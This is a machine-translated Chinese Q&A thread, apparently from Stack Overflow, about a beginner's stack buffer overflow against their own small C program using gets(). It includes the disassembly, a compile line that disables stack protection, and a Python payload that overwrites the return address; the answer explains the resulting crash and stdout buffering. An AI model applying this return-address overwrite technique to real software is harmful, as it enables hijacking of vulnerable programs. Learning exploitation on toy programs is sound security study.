2017-06-10 46 views
4

我新的緩衝區溢出攻擊,我開始用一個簡單的C程序利用緩衝區溢出。使用gets()函數在一個簡單的C程序

代碼

#include <stdio.h> 
#include <strings.h> 


void execs(void){ 
    printf("yay!!"); 
} 

void return_input (void) 
{ 
    char array[30]; 
    gets(array); 
} 

int main() 
{ 
    return_input(); 
    return 0; 
} 

編譯階段

我通過禁用stack protector作爲編譯上述程序使用cc:

cc test.c -o test -fno-stack-protector 

使用objdump ELF文件的轉儲如下:

0804843b <execs>: 
804843b: 55      push %ebp 
804843c: 89 e5     mov %esp,%ebp 
804843e: 83 ec 08    sub $0x8,%esp 
8048441: 83 ec 0c    sub $0xc,%esp 
8048444: 68 10 85 04 08   push $0x8048510 
8048449: e8 b2 fe ff ff   call 8048300 <[email protected]> 
804844e: 83 c4 10    add $0x10,%esp 
8048451: 90      nop 
8048452: c9      leave 
8048453: c3      ret  

08048454 <return_input>: 
8048454: 55      push %ebp 
8048455: 89 e5     mov %esp,%ebp 
8048457: 83 ec 28    sub $0x28,%esp 
804845a: 83 ec 0c    sub $0xc,%esp 
804845d: 8d 45 da    lea -0x26(%ebp),%eax 
8048460: 50      push %eax 
8048461: e8 aa fe ff ff   call 8048310 <[email protected]> 
8048466: 83 c4 10    add $0x10,%esp 
8048469: 90      nop 
804846a: c9      leave 
804846b: c3      ret  

0804846c <main>: 
804846c: 8d 4c 24 04    lea 0x4(%esp),%ecx 
8048470: 83 e4 f0    and $0xfffffff0,%esp 
8048473: ff 71 fc    pushl -0x4(%ecx) 
8048476: 55      push %ebp 
8048477: 89 e5     mov %esp,%ebp 
8048479: 51      push %ecx 
804847a: 83 ec 04    sub $0x4,%esp 
804847d: e8 d2 ff ff ff   call 8048454 <return_input> 
8048482: b8 00 00 00 00   mov $0x0,%eax 
8048487: 83 c4 04    add $0x4,%esp 
804848a: 59      pop %ecx 
804848b: 5d      pop %ebp 
804848c: 8d 61 fc    lea -0x4(%ecx),%esp 
804848f: c3      ret  

因此,爲了利用緩衝區(array),我們需要它通過觀察發現在return_input棧幀中分配的字節數轉儲,

lea -0x26(%ebp),%eax 

0x26十六進制或大約38位十進制。這樣,給輸入爲:

38 + 4(隨機字符)+(高層的返回地址)

將執行execs功能。

當我打開core(核心轉儲文件)使用

分割故障(核心轉儲):我用下面的:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test 

但輸出錯誤gdb,我可以發現在以下地址執行時遇到了分段錯誤:

0xb76f2300 

系統信息:

Ubuntu的版本:16.10

內核版本:4.8.0-46-通用

問題?

我在幹什麼錯誤的代碼?

回答

4

我想原因很簡單:你沒有停止/中止您在execs程序。該地址0xb76f2300在堆棧中,所以我懷疑它是從execs返回的,當它試圖返回到存儲的堆棧指針的值時失敗。

那你沒有看到任何消息,是因爲stdout行緩衝,和您的郵件沒有一個換行符,也沒有你明確地衝洗掉;因此yay!!仍然在緩衝區中。

另外,使用調試器。

+0

謝謝,這是有效的。並有一點疑問。爲什麼我應該直接刷新stdout?這不是默認情況下發生的嗎? –

+2

由於它是行緩衝的,所以在打印換行符時或者明確要求時刷新。正常程序終端也應該刷新它,但正如你所看到的,程序通常不會終止。 –